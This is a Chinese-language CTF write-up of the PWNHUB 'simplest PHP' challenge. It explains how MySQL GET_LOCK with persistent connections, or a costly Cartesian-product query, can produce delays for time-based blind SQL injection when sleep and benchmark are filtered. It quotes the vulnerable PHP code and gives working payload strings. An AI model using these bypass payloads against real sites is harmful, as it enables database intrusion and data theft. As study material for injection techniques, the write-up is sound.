0x01 知识点
mysql_pconnect(server,user,pwd,clientflag)
mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接。
mysql_pconnect() 和 mysql_connect() 非常相似,但有两个主要区别:
当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。
其次,当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用(mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。
get_lock(str,timeout)
Tries to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.
get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。
在一个session中锁定变量,同时通过另外一个session执行,将会产生延时
举例:
打开两个mysql shell
现在一个shell中执行命令 select get_lock('test',5) 先上锁
然后另外一个shell中执行重复的命令
成功延时。
我们可以用这种方法来进行注入判断 但是必须要提供长连接 即 mysql_pconnect。
0x02 PWNHUB:全宇宙最简单的PHP
1. Get_lock()解法
核心代码
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from test where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update test set point=point+1 where id = '".$id." '"); //这里有注入
?>
=$row['point']?>=$row['point']?>
=$row['pw']?>
可以看出update处有注入。
思路
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
1. 报错注入==>错误显示被禁止 故放弃
2. dnslog带外注入==>load_file函数被禁止 而且权限不一定是root 故放弃
3. updatexml extractvalue报错注入==>错误显示禁止 放弃
4. 普通盲注==>页面没有回显 故放弃
5. 延时注入==>sleep benchmark被禁止 这时候我们可以用get_lock方法进行盲注
所以我们的攻击过程如下 先上锁 再进行盲注
先执行 1' and get_lock(1,2)%23 给key=1上锁
然后就可以盲注了 1' and if(1,get_lock(1,2),1)%23 再次执行同样的语句会产生延时
2. mysql多表查询解法(笛卡儿积原理)
笛卡尔积可以将多个表合并成为一个表
所以我们进行多表合并,耗费较长时间,达到延时的效果
测试效果
所以我们的payload是1' and if(1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23